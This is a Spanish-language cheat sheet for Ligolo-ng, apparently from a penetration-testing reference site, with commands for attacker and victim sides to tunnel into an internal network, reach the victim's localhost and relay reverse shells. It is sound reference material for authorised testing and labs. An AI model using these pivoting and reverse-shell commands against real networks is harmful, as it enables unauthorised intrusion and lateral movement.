Ligolo-ng
Ligolo-ng crea una interfaz de red en tu máquina y enruta por ella el tráfico hacia la red interna. Funcionan nmap (también UDP y ping), navegador y cualquier herramienta tal cual, a diferencia de un proxy SOCKS.
- Plataforma
- Linux · Windows · macOS (Go)
- Web oficial
- github.com/nicocha30/ligolo-ng
Instalación
# Descarga proxy (tu máquina) y agent (víctima) de https://github.com/nicocha30/ligolo-ng/releases
Chuleta de Ligolo-ng
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Versiones recientes (0.6 o superior)
Crear la interfaz y la ruta desde la consola del proxy
Atacante
interface_create --name ligolo
route_add --name ligolo --route 172.16.1.0/24
tunnel_start --tun ligolo
Llegar a los puertos locales de la víctima (127.0.0.1)
Atacante
sudo ip route add 240.0.0.1/32 dev ligolo
La IP especial 240.0.0.1 apunta al localhost del agente.
Recibir una reverse shell de la red interna
Atacante
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp
En nuestras chuletas
Port forwarding y pivoting › ligolo-ng
Crear la interfaz en tu máquina
Atacante
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
Proxy en tu máquina
Atacante
./proxy -selfcert
Agente en la víctima
Víctima
./agent -connect 10.10.14.5:11601 -ignore-cert
En la consola de ligolo (elige la sesión y arranca)
Atacante
session
start
Ruta a la red interna
Atacante
sudo ip route add 172.16.1.0/24 dev ligolo
Cambia 172.16.1.0/24 por la red interna; la calculadora de subredes te ayuda a sacarla.
Ningún comando coincide.
Guías que usan Ligolo-ng
- Port forwarding y pivoting: SSH, chisel y socat 3 min de lectura Cómo llegar a un servicio que solo escucha en 127.0.0.1 o a otra red interna: túneles locales, remotos y dinámicos con SSH, chisel cuando no hay SSH, socat y proxychains.